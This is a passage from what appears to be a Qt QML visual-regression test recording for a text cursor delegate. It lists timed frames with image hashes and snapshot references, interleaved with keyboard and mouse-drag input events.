"6edd29f2e8d3d81e912c6b279ecc1885" - } - Frame { - msec: 1840 - hash: "8eb5ba22793c7cbfa97a64557f2a023f" - } - Frame { - msec: 1856 - hash: "9a39470525e6f508228f7e0014e02d64" - } - Frame { - msec: 1872 - hash: "b3ad10cf28151f5f7f5a4c3540f1660e" - } - Frame { - msec: 1888 - hash: "816203df3cf42fa7a0e8d6730c186444" - } - Frame { - msec: 1904 - hash: "a0a7e7ff7960dfe6149e526badf799a6" - } - Frame { - msec: 1920 - image: "cursorDelegate.1.png" - } - Frame { - msec: 1936 - hash: "4d245b2285eadfd206409f74e03c7fc9" - } - Frame { - msec: 1952 - hash: "e1d5e6c2e4df1454b5a256c3678ffdef" - } - Frame { - msec: 1968 - hash: "781d7fb03a37cb3f297cc0d2df338fd7" - } - Key { - type: 7 - key: 16777249 - modifiers: 100663296 - text: "" - autorep: false - count: 1 - } - Frame { - msec: 1984 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 2000 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 2016 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 2032 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 2048 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 2064 - hash: "781d7fb03a37cb3f297cc0d2df338fd7" - } - Frame { - msec: 2080 - hash: "e1d5e6c2e4df1454b5a256c3678ffdef" - } - Frame { - msec: 2096 - hash: "4d245b2285eadfd206409f74e03c7fc9" - } - Frame { - msec: 2112 - hash: "5a647962e016d15daa417d88524d6061" - } - Frame { - msec: 2128 - hash: "a0a7e7ff7960dfe6149e526badf799a6" - } - Frame { - msec: 2144 - hash: "816203df3cf42fa7a0e8d6730c186444" - } - Frame { - msec: 2160 - hash: "b3ad10cf28151f5f7f5a4c3540f1660e" - } - Frame { - msec: 2176 - hash: "9a39470525e6f508228f7e0014e02d64" - } - Frame { - msec: 2192 - hash: "8eb5ba22793c7cbfa97a64557f2a023f" - } - Frame { - msec: 2208 - hash: "6edd29f2e8d3d81e912c6b279ecc1885" - } - Frame { - msec: 2224 - hash: "abfdd1f8440998af2ff7903f49f1bd7c" - } - Frame { - msec: 2240 - hash: "7411784774fdc3b324644395f7beb013" - } - Frame { - msec: 2256 - hash: "f036a5ecda518be198f3bdf2dbc5baab" - } - Key { - type: 7 - key: 16777248 - modifiers: 33554432 - text: "" - autorep: false - count: 1 - } - Frame { - msec: 2272 - hash: "6f2c1f61e58940d9cc1a70c0db903446" - } - Frame { - msec: 2288 - hash: "eb23a3eac684808f73034f4e4ef8984d" - } - Frame { - msec: 2304 - hash: "d89f7e3e2510fcb34786584747633673" - } - Frame { - msec: 2320 - hash: "cef43f349cf221a1aa6e6e70f1fa6339" - } - Frame { - msec: 2336 - hash: "6ad579c289c63a6b90a1517765fc041e" - } - Frame { - msec: 2352 - hash: "4e566abf1e0696e72b2a4beab5a53d6e" - } - Key { - type: 6 - key: 16777236 - modifiers: 0 - text: "" - autorep: false - count: 1 - } - Frame { - msec: 2368 - hash: "6c913bc712eee18947a43dd1c0a6516b" - } - Frame { - msec: 2384 - hash: "2c518a32ca3b5ca924709cc6990fb039" - } - Frame { - msec: 2400 - hash: "7f40db00bd3e6d0b39454eefa1403f44" - } - Frame { - msec: 2416 - hash: "98db32e0d1812e9584105dc4dbceff80" - } - Frame { - msec: 2432 - hash: "c2150a67391bb574141c16cb011847bf" - } - Frame { - msec: 2448 - hash: "f9ea21d894fa2dace4d43ce99a580b90" - } - Frame { - msec: 2464 - hash: "2f580c3244499fc6ecd2121693f463fd" - } - Key { - type: 7 - key: 16777236 - modifiers: 0 - text: "" - autorep: false - count: 1 - } - Frame { - msec: 2480 - hash: "2f7f421d3e6a895a9efa6b0e8feb81c4" - } - Frame { - msec: 2496 - hash: "35a18447f319431ed0a645d05a1d03d1" - } - Frame { - msec: 2512 - hash: "54e36fb4014be554d13709b48b9bdce7" - } - Frame { - msec: 2528 - hash: "dbe3456536a729b268850a6ee5d1fb47" - } - Frame { - msec: 2544 - hash: "4c148434cf3868db5dc98f426d9fb913" - } - Frame { - msec: 2560 - hash: "2eb6da3ebfd531037523347603a805e2" - } - Frame { - msec: 2576 - hash: "fefbb2f4671f8a36f9d2207ced8c0bfb" - } - Frame { - msec: 2592 - hash: "1ab596339afc1f96136ee69c4b7688e1" - } - Frame { - msec: 2608 - hash: "e07f59d729cb2790296e8c7cd3d0d3c9" - } - Frame { - msec: 2624 - hash: "a7dccada1080487cab2d0a916676c5cb" - } - Frame { - msec: 2640 - hash: "ac5939eb4379394fab829b307cbfe7ec" - } - Frame { - msec: 2656 - hash: "9329d353c678d2bc61d08f63029d1b9b" - } - Frame { - msec: 2672 - hash: "41263f56af7875028bb0c1e7eccf6f5d" - } - Frame { - msec: 2688 - hash: "e2eb18af82c85ea78ba438163e922df3" - } - Frame { - msec: 2704 - hash: "91b2695e4915238ae8610a64e279b0f4" - } - Frame { - msec: 2720 - hash: "a97d90765f87b998eae6e9f603c61bff" - } - Frame { - msec: 2736 - hash: "48969edab07b942480d93ac2d383ca24" - } - Frame { - msec: 2752 - hash: "ecfd9d6d5873001f0c67806544a14983" - } - Key { - type: 6 - key: 16777234 - modifiers: 0 - text: "" - autorep: false - count: 1 - } - Frame { - msec: 2768 - hash: "01e937e1fcc0331b2541fa32c3479a24" - } - Frame { - msec: 2784 - hash: "702864de569e6a5648ee174d5ef891f8" - } - Frame { - msec: 2800 - hash: "0f500339c81ca3621d13910017b84b7b" - } - Frame { - msec: 2816 - hash: "76fb2e1ad33affe33c0887f04caa7396" - } - Frame { - msec: 2832 - hash: "9dc01a69f2a6892d3c4203674c8bef72" - } - Frame { - msec: 2848 - hash: "d94054222fd37a350bd8abd592a332e3" - } - Frame { - msec: 2864 - hash: "46fed264c233490b477e3a7c22183e18" - } - Frame { - msec: 2880 - image: "cursorDelegate.2.png" - } - Key { - type: 7 - key: 16777234 - modifiers: 0 - text: "" - autorep: false - count: 1 - } - Frame { - msec: 2896 - hash: "e87f18da2fa5c91c9b2b5dea50f9c1e2" - } - Frame { - msec: 2912 - hash: "4f6dbc7b249c37390518cc263832b587" - } - Frame { - msec: 2928 - hash: "df09fa2fd138d1b480eec82db3872d6f" - } - Frame { - msec: 2944 - hash: "b74cb1bfbb979a5e91853d9145d277d8" - } - Frame { - msec: 2960 - hash: "35425ae3ccf3c8dcc1483479c57a3287" - } - Frame { - msec: 2976 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 2992 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 3008 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 3024 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 3040 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 3056 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 3072 - hash: "35425ae3ccf3c8dcc1483479c57a3287" - } - Frame { - msec: 3088 - hash: "b74cb1bfbb979a5e91853d9145d277d8" - } - Frame { - msec: 3104 - hash: "df09fa2fd138d1b480eec82db3872d6f" - } - Frame { - msec: 3120 - hash: "4f6dbc7b249c37390518cc263832b587" - } - Frame { - msec: 3136 - hash: "e87f18da2fa5c91c9b2b5dea50f9c1e2" - } - Frame { - msec: 3152 - hash: "34bc703c915b49b0450ece1d18306df8" - } - Frame { - msec: 3168 - hash: "46fed264c233490b477e3a7c22183e18" - } - Frame { - msec: 3184 - hash: "d94054222fd37a350bd8abd592a332e3" - } - Frame { - msec: 3200 - hash: "9dc01a69f2a6892d3c4203674c8bef72" - } - Frame { - msec: 3216 - hash: "76fb2e1ad33affe33c0887f04caa7396" - } - Frame { - msec: 3232 - hash: "0f500339c81ca3621d13910017b84b7b" - } - Frame { - msec: 3248 - hash: "702864de569e6a5648ee174d5ef891f8" - } - Frame { - msec: 3264 - hash: "01e937e1fcc0331b2541fa32c3479a24" - } - Frame { - msec: 3280 - hash: "ee661e6cc1f86e755ff399adb6b11fd1" - } - Frame { - msec: 3296 - hash: "ea2d610e9b41e72b2984a51f0d3f7587" - } - Frame { - msec: 3312 - hash: "4a646d76b706698a02cead560b1f8d57" - } - Frame { - msec: 3328 - hash: "48ec87bfc25471f6fa2d43f9db80b693" - } - Frame { - msec: 3344 - hash: "827fdd6a3d1006f4a9dd2faf208ea436" - } - Frame { - msec: 3360 - hash: "788d8962f311adf57a3acc876b0e8804" - } - Frame { - msec: 3376 - hash: "5d112a3675ea4c010e7bc60e036d0262" - } - Frame { - msec: 3392 - hash: "a2ea272b45d8de225826d9381015ff2e" - } - Frame { - msec: 3408 - hash: "e4d7a59716cd704fe1cfa8ba91454e93" - } - Frame { - msec: 3424 - hash: "4e875ba8703b690a17e445f2b3810435" - } - Frame { - msec: 3440 - hash: "4fbbb8447d80012bc6b5c24ddbfe498e" - } - Frame { - msec: 3456 - hash: "d74f8e44d47710714d4197809fffb622" - } - Frame { - msec: 3472 - hash: "d23bdd94019477d8378cde580d8765ad" - } - Frame { - msec: 3488 - hash: "6032aada2c48092000ecb93e52656414" - } - Frame { - msec: 3504 - hash: "438be260f19d04c9f98ed7dce1c7db40" - } - Frame { - msec: 3520 - hash: "3af60972e7d5d4320a549e5df52a1228" - } - Frame { - msec: 3536 - hash: "bf8459b99ca0bf568c58a3bb2a2fcc1f" - } - Frame { - msec: 3552 - hash: "c0dc1cf5ba7014e069c4d4bd7ac0f89d" - } - Frame { - msec: 3568 - hash: "f2ddf9d4fd3a2a2d354172714ce94d99" - } - Frame { - msec: 3584 - hash: "bdfb42dc3879099e402784238c2cdddb" - } - Frame { - msec: 3600 - hash: "5e483b0fd4808f2fb31aea90ccf86d3e" - } - Frame { - msec: 3616 - hash: "8159bda651d95a320ac09aa6feb377a1" - } - Frame { - msec: 3632 - hash: "ceda37af96bd02baae218d3bfaed93f7" - } - Frame { - msec: 3648 - hash: "4b81757a105aa7c5ac6148455eea66c3" - } - Frame { - msec: 3664 - hash: "ff7e2cdd006f9b76ab8c0416d81f0cb1" - } - Frame { - msec: 3680 - hash: "9b174cd9a87ff193ce646408946b310c" - } - Frame { - msec: 3696 - hash: "89fa590b47ee77021dedf7938439ce69" - } - Frame { - msec: 3712 - hash: "6e5680803184dfc76cbf1c2de804d6cc" - } - Frame { - msec: 3728 - hash: "c6de6b9203673c77427ab84ce86daaf5" - } - Frame { - msec: 3744 - hash: "198f8e912c19debd51f837627d1171e9" - } - Frame { - msec: 3760 - hash: "3b380dcb6815698241f3dcccb52785c2" - } - Frame { - msec: 3776 - hash: "254942e12b8a31420d2243b7e2529ae8" - } - Frame { - msec: 3792 - hash: "ebf121910a5318c284f8e964d63aed40" - } - Frame { - msec: 3808 - hash: "0fcf416a80d22f077fcf4d23bddeb6c6" - } - Frame { - msec: 3824 - hash: "4a6596da390380dbafc1cdaceca1101e" - } - Frame { - msec: 3840 - image: "cursorDelegate.3.png" - } - Frame { - msec: 3856 - hash: "c2be53ae5e2d5d3081df9af31426ec84" - } - Frame { - msec: 3872 - hash: "52350ac5d10f8fe7571d12193b861d3f" - } - Frame { - msec: 3888 - hash: "f286a35d7f4a022315f69a5db72da388" - } - Frame { - msec: 3904 - hash: "aa329519eba4dad9589bff095528c535" - } - Frame { - msec: 3920 - hash: "0beae60853afaaa0e7f7540fb50bcddf" - } - Frame { - msec: 3936 - hash: "dc098a8b4d2f117a09cf1f2ced201a60" - } - Frame { - msec: 3952 - hash: "3655b992097b433071ec9dd69e086c70" - } - Frame { - msec: 3968 - hash: "82cb92d7940d13deee97e4ccda9210fb" - } - Frame { - msec: 3984 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 4000 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 4016 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 4032 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 4048 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 4064 - hash: "82cb92d7940d13deee97e4ccda9210fb" - } - Key { - type: 6 - key: 16777232 - modifiers: 0 - text: "" - autorep: false - count: 1 - } - Frame { - msec: 4080 - hash: "3655b992097b433071ec9dd69e086c70" - } - Frame { - msec: 4096 - hash: "dc098a8b4d2f117a09cf1f2ced201a60" - } - Frame { - msec: 4112 - hash: "0beae60853afaaa0e7f7540fb50bcddf" - } - Frame { - msec: 4128 - hash: "aa329519eba4dad9589bff095528c535" - } - Key { - type: 7 - key: 16777232 - modifiers: 0 - text: "" - autorep: false - count: 1 - } - Frame { - msec: 4144 - hash: "f286a35d7f4a022315f69a5db72da388" - } - Frame { - msec: 4160 - hash: "52350ac5d10f8fe7571d12193b861d3f" - } - Frame { - msec: 4176 - hash: "c2be53ae5e2d5d3081df9af31426ec84" - } - Frame { - msec: 4192 - hash: "367391b2a124e2c818510567d0884d18" - } - Frame { - msec: 4208 - hash: "4a6596da390380dbafc1cdaceca1101e" - } - Frame { - msec: 4224 - hash: "0fcf416a80d22f077fcf4d23bddeb6c6" - } - Frame { - msec: 4240 - hash: "ebf121910a5318c284f8e964d63aed40" - } - Frame { - msec: 4256 - hash: "254942e12b8a31420d2243b7e2529ae8" - } - Frame { - msec: 4272 - hash: "3b380dcb6815698241f3dcccb52785c2" - } - Frame { - msec: 4288 - hash: "198f8e912c19debd51f837627d1171e9" - } - Frame { - msec: 4304 - hash: "c6de6b9203673c77427ab84ce86daaf5" - } - Frame { - msec: 4320 - hash: "6e5680803184dfc76cbf1c2de804d6cc" - } - Frame { - msec: 4336 - hash: "89fa590b47ee77021dedf7938439ce69" - } - Frame { - msec: 4352 - hash: "9b174cd9a87ff193ce646408946b310c" - } - Frame { - msec: 4368 - hash: "ff7e2cdd006f9b76ab8c0416d81f0cb1" - } - Frame { - msec: 4384 - hash: "4b81757a105aa7c5ac6148455eea66c3" - } - Frame { - msec: 4400 - hash: "ceda37af96bd02baae218d3bfaed93f7" - } - Frame { - msec: 4416 - hash: "8159bda651d95a320ac09aa6feb377a1" - } - Frame { - msec: 4432 - hash: "5e483b0fd4808f2fb31aea90ccf86d3e" - } - Frame { - msec: 4448 - hash: "bdfb42dc3879099e402784238c2cdddb" - } - Frame { - msec: 4464 - hash: "f2ddf9d4fd3a2a2d354172714ce94d99" - } - Frame { - msec: 4480 - hash: "c0dc1cf5ba7014e069c4d4bd7ac0f89d" - } - Frame { - msec: 4496 - hash: "bf8459b99ca0bf568c58a3bb2a2fcc1f" - } - Frame { - msec: 4512 - hash: "3af60972e7d5d4320a549e5df52a1228" - } - Frame { - msec: 4528 - hash: "438be260f19d04c9f98ed7dce1c7db40" - } - Frame { - msec: 4544 - hash: "6032aada2c48092000ecb93e52656414" - } - Frame { - msec: 4560 - hash: "d23bdd94019477d8378cde580d8765ad" - } - Frame { - msec: 4576 - hash: "d74f8e44d47710714d4197809fffb622" - } - Key { - type: 6 - key: 16777233 - modifiers: 0 - text: "" - autorep: false - count: 1 - } - Frame { - msec: 4592 - hash: "4fbbb8447d80012bc6b5c24ddbfe498e" - } - Frame { - msec: 4608 - hash: "4e875ba8703b690a17e445f2b3810435" - } - Frame { - msec: 4624 - hash: "e4d7a59716cd704fe1cfa8ba91454e93" - } - Key { - type: 7 - key: 16777233 - modifiers: 0 - text: "" - autorep: false - count: 1 - } - Frame { - msec: 4640 - hash: "a2ea272b45d8de225826d9381015ff2e" - } - Frame { - msec: 4656 - hash: "5d112a3675ea4c010e7bc60e036d0262" - } - Frame { - msec: 4672 - hash: "788d8962f311adf57a3acc876b0e8804" - } - Frame { - msec: 4688 - hash: "827fdd6a3d1006f4a9dd2faf208ea436" - } - Frame { - msec: 4704 - hash: "48ec87bfc25471f6fa2d43f9db80b693" - } - Frame { - msec: 4720 - hash: "4a646d76b706698a02cead560b1f8d57" - } - Frame { - msec: 4736 - hash: "ea2d610e9b41e72b2984a51f0d3f7587" - } - Frame { - msec: 4752 - hash: "ee661e6cc1f86e755ff399adb6b11fd1" - } - Frame { - msec: 4768 - hash: "01e937e1fcc0331b2541fa32c3479a24" - } - Frame { - msec: 4784 - hash: "702864de569e6a5648ee174d5ef891f8" - } - Frame { - msec: 4800 - image: "cursorDelegate.4.png" - } - Frame { - msec: 4816 - hash: "76fb2e1ad33affe33c0887f04caa7396" - } - Frame { - msec: 4832 - hash: "9dc01a69f2a6892d3c4203674c8bef72" - } - Frame { - msec: 4848 - hash: "d94054222fd37a350bd8abd592a332e3" - } - Frame { - msec: 4864 - hash: "46fed264c233490b477e3a7c22183e18" - } - Frame { - msec: 4880 - hash: "34bc703c915b49b0450ece1d18306df8" - } - Frame { - msec: 4896 - hash: "e87f18da2fa5c91c9b2b5dea50f9c1e2" - } - Frame { - msec: 4912 - hash: "4f6dbc7b249c37390518cc263832b587" - } - Frame { - msec: 4928 - hash: "df09fa2fd138d1b480eec82db3872d6f" - } - Frame { - msec: 4944 - hash: "b74cb1bfbb979a5e91853d9145d277d8" - } - Frame { - msec: 4960 - hash: "35425ae3ccf3c8dcc1483479c57a3287" - } - Frame { - msec: 4976 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 4992 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 5008 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 5024 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 5040 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 5056 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 5072 - hash: "35425ae3ccf3c8dcc1483479c57a3287" - } - Frame { - msec: 5088 - hash: "b74cb1bfbb979a5e91853d9145d277d8" - } - Frame { - msec: 5104 - hash: "df09fa2fd138d1b480eec82db3872d6f" - } - Frame { - msec: 5120 - hash: "4f6dbc7b249c37390518cc263832b587" - } - Frame { - msec: 5136 - hash: "e87f18da2fa5c91c9b2b5dea50f9c1e2" - } - Frame { - msec: 5152 - hash: "34bc703c915b49b0450ece1d18306df8" - } - Frame { - msec: 5168 - hash: "46fed264c233490b477e3a7c22183e18" - } - Frame { - msec: 5184 - hash: "d94054222fd37a350bd8abd592a332e3" - } - Frame { - msec: 5200 - hash: "9dc01a69f2a6892d3c4203674c8bef72" - } - Frame { - msec: 5216 - hash: "76fb2e1ad33affe33c0887f04caa7396" - } - Frame { - msec: 5232 - hash: "0f500339c81ca3621d13910017b84b7b" - } - Frame { - msec: 5248 - hash: "702864de569e6a5648ee174d5ef891f8" - } - Frame { - msec: 5264 - hash: "01e937e1fcc0331b2541fa32c3479a24" - } - Frame { - msec: 5280 - hash: "ee661e6cc1f86e755ff399adb6b11fd1" - } - Frame { - msec: 5296 - hash: "ea2d610e9b41e72b2984a51f0d3f7587" - } - Frame { - msec: 5312 - hash: "4a646d76b706698a02cead560b1f8d57" - } - Frame { - msec: 5328 - hash: "48ec87bfc25471f6fa2d43f9db80b693" - } - Frame { - msec: 5344 - hash: "827fdd6a3d1006f4a9dd2faf208ea436" - } - Frame { - msec: 5360 - hash: "788d8962f311adf57a3acc876b0e8804" - } - Frame { - msec: 5376 - hash: "5d112a3675ea4c010e7bc60e036d0262" - } - Frame { - msec: 5392 - hash: "a2ea272b45d8de225826d9381015ff2e" - } - Frame { - msec: 5408 - hash: "e4d7a59716cd704fe1cfa8ba91454e93" - } - Frame { - msec: 5424 - hash: "4e875ba8703b690a17e445f2b3810435" - } - Frame { - msec: 5440 - hash: "4fbbb8447d80012bc6b5c24ddbfe498e" - } - Frame { - msec: 5456 - hash: "d74f8e44d47710714d4197809fffb622" - } - Frame { - msec: 5472 - hash: "d23bdd94019477d8378cde580d8765ad" - } - Frame { - msec: 5488 - hash: "6032aada2c48092000ecb93e52656414" - } - Frame { - msec: 5504 - hash: "438be260f19d04c9f98ed7dce1c7db40" - } - Frame { - msec: 5520 - hash: "3af60972e7d5d4320a549e5df52a1228" - } - Frame { - msec: 5536 - hash: "bf8459b99ca0bf568c58a3bb2a2fcc1f" - } - Frame { - msec: 5552 - hash: "c0dc1cf5ba7014e069c4d4bd7ac0f89d" - } - Frame { - msec: 5568 - hash: "f2ddf9d4fd3a2a2d354172714ce94d99" - } - Frame { - msec: 5584 - hash: "bdfb42dc3879099e402784238c2cdddb" - } - Frame { - msec: 5600 - hash: "5e483b0fd4808f2fb31aea90ccf86d3e" - } - Frame { - msec: 5616 - hash: "8159bda651d95a320ac09aa6feb377a1" - } - Frame { - msec: 5632 - hash: "ceda37af96bd02baae218d3bfaed93f7" - } - Frame { - msec: 5648 - hash: "4b81757a105aa7c5ac6148455eea66c3" - } - Frame { - msec: 5664 - hash: "ff7e2cdd006f9b76ab8c0416d81f0cb1" - } - Frame { - msec: 5680 - hash: "9b174cd9a87ff193ce646408946b310c" - } - Frame { - msec: 5696 - hash: "89fa590b47ee77021dedf7938439ce69" - } - Frame { - msec: 5712 - hash: "6e5680803184dfc76cbf1c2de804d6cc" - } - Frame { - msec: 5728 - hash: "c6de6b9203673c77427ab84ce86daaf5" - } - Frame { - msec: 5744 - hash: "198f8e912c19debd51f837627d1171e9" - } - Frame { - msec: 5760 - image: "cursorDelegate.5.png" - } - Frame { - msec: 5776 - hash: "254942e12b8a31420d2243b7e2529ae8" - } - Frame { - msec: 5792 - hash: "ebf121910a5318c284f8e964d63aed40" - } - Frame { - msec: 5808 - hash: "0fcf416a80d22f077fcf4d23bddeb6c6" - } - Frame { - msec: 5824 - hash: "4a6596da390380dbafc1cdaceca1101e" - } - Frame { - msec: 5840 - hash: "367391b2a124e2c818510567d0884d18" - } - Frame { - msec: 5856 - hash: "c2be53ae5e2d5d3081df9af31426ec84" - } - Frame { - msec: 5872 - hash: "52350ac5d10f8fe7571d12193b861d3f" - } - Frame { - msec: 5888 - hash: "f286a35d7f4a022315f69a5db72da388" - } - Frame { - msec: 5904 - hash: "aa329519eba4dad9589bff095528c535" - } - Frame { - msec: 5920 - hash: "0beae60853afaaa0e7f7540fb50bcddf" - } - Frame { - msec: 5936 - hash: "dc098a8b4d2f117a09cf1f2ced201a60" - } - Frame { - msec: 5952 - hash: "3655b992097b433071ec9dd69e086c70" - } - Frame { - msec: 5968 - hash: "82cb92d7940d13deee97e4ccda9210fb" - } - Frame { - msec: 5984 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 6000 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 6016 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 6032 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 6048 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 6064 - hash: "82cb92d7940d13deee97e4ccda9210fb" - } - Frame { - msec: 6080 - hash: "3655b992097b433071ec9dd69e086c70" - } - Frame { - msec: 6096 - hash: "dc098a8b4d2f117a09cf1f2ced201a60" - } - Frame { - msec: 6112 - hash: "0beae60853afaaa0e7f7540fb50bcddf" - } - Frame { - msec: 6128 - hash: "aa329519eba4dad9589bff095528c535" - } - Frame { - msec: 6144 - hash: "f286a35d7f4a022315f69a5db72da388" - } - Frame { - msec: 6160 - hash: "52350ac5d10f8fe7571d12193b861d3f" - } - Frame { - msec: 6176 - hash: "c2be53ae5e2d5d3081df9af31426ec84" - } - Frame { - msec: 6192 - hash: "367391b2a124e2c818510567d0884d18" - } - Frame { - msec: 6208 - hash: "4a6596da390380dbafc1cdaceca1101e" - } - Frame { - msec: 6224 - hash: "0fcf416a80d22f077fcf4d23bddeb6c6" - } - Frame { - msec: 6240 - hash: "ebf121910a5318c284f8e964d63aed40" - } - Frame { - msec: 6256 - hash: "254942e12b8a31420d2243b7e2529ae8" - } - Frame { - msec: 6272 - hash: "3b380dcb6815698241f3dcccb52785c2" - } - Frame { - msec: 6288 - hash: "198f8e912c19debd51f837627d1171e9" - } - Frame { - msec: 6304 - hash: "c6de6b9203673c77427ab84ce86daaf5" - } - Frame { - msec: 6320 - hash: "6e5680803184dfc76cbf1c2de804d6cc" - } - Frame { - msec: 6336 - hash: "89fa590b47ee77021dedf7938439ce69" - } - Frame { - msec: 6352 - hash: "9b174cd9a87ff193ce646408946b310c" - } - Frame { - msec: 6368 - hash: "ff7e2cdd006f9b76ab8c0416d81f0cb1" - } - Frame { - msec: 6384 - hash: "4b81757a105aa7c5ac6148455eea66c3" - } - Frame { - msec: 6400 - hash: "ceda37af96bd02baae218d3bfaed93f7" - } - Frame { - msec: 6416 - hash: "8159bda651d95a320ac09aa6feb377a1" - } - Frame { - msec: 6432 - hash: "5e483b0fd4808f2fb31aea90ccf86d3e" - } - Frame { - msec: 6448 - hash: "bdfb42dc3879099e402784238c2cdddb" - } - Frame { - msec: 6464 - hash: "f2ddf9d4fd3a2a2d354172714ce94d99" - } - Frame { - msec: 6480 - hash: "c0dc1cf5ba7014e069c4d4bd7ac0f89d" - } - Frame { - msec: 6496 - hash: "bf8459b99ca0bf568c58a3bb2a2fcc1f" - } - Frame { - msec: 6512 - hash: "3af60972e7d5d4320a549e5df52a1228" - } - Frame { - msec: 6528 - hash: "438be260f19d04c9f98ed7dce1c7db40" - } - Frame { - msec: 6544 - hash: "6032aada2c48092000ecb93e52656414" - } - Frame { - msec: 6560 - hash: "d23bdd94019477d8378cde580d8765ad" - } - Frame { - msec: 6576 - hash: "d74f8e44d47710714d4197809fffb622" - } - Frame { - msec: 6592 - hash: "4fbbb8447d80012bc6b5c24ddbfe498e" - } - Frame { - msec: 6608 - hash: "4e875ba8703b690a17e445f2b3810435" - } - Frame { - msec: 6624 - hash: "e4d7a59716cd704fe1cfa8ba91454e93" - } - Frame { - msec: 6640 - hash: "a2ea272b45d8de225826d9381015ff2e" - } - Frame { - msec: 6656 - hash: "5d112a3675ea4c010e7bc60e036d0262" - } - Frame { - msec: 6672 - hash: "788d8962f311adf57a3acc876b0e8804" - } - Mouse { - type: 2 - button: 1 - buttons: 1 - x: 271; y: 89 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 6688 - hash: "e2eb18af82c85ea78ba438163e922df3" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 271; y: 92 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 6704 - hash: "91b2695e4915238ae8610a64e279b0f4" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 271; y: 95 - modifiers: 0 - sendToViewport: true - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 270; y: 99 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 6720 - image: "cursorDelegate.6.png" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 269; y: 103 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 6736 - hash: "ea2d610e9b41e72b2984a51f0d3f7587" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 268; y: 107 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 6752 - hash: "ee661e6cc1f86e755ff399adb6b11fd1" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 266; y: 114 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 6768 - hash: "01e937e1fcc0331b2541fa32c3479a24" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 266; y: 117 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 6784 - hash: "702864de569e6a5648ee174d5ef891f8" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 265; y: 117 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 6800 - hash: "0f500339c81ca3621d13910017b84b7b" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 263; y: 118 - modifiers: 0 - sendToViewport: true - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 261; y: 118 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 6816 - hash: "76fb2e1ad33affe33c0887f04caa7396" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 259; y: 118 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 6832 - hash: "9dc01a69f2a6892d3c4203674c8bef72" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 256; y: 118 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 6848 - hash: "58693aa1a3616310b7ae1e529c4c461a" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 250; y: 118 - modifiers: 0 - sendToViewport: true - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 243; y: 118 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 6864 - hash: "96afccd7ec697c9c10840f0effaa448d" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 235; y: 119 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 6880 - hash: "a00d49e2a9069b1be41f95f6ff4c0312" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 227; y: 121 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 6896 - hash: "a0ff4b93291fc12054d3989a20335a87" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 218; y: 124 - modifiers: 0 - sendToViewport: true - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 209; y: 126 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 6912 - hash: "a86e1347bb25489547514955762d92d3" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 200; y: 126 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 6928 - 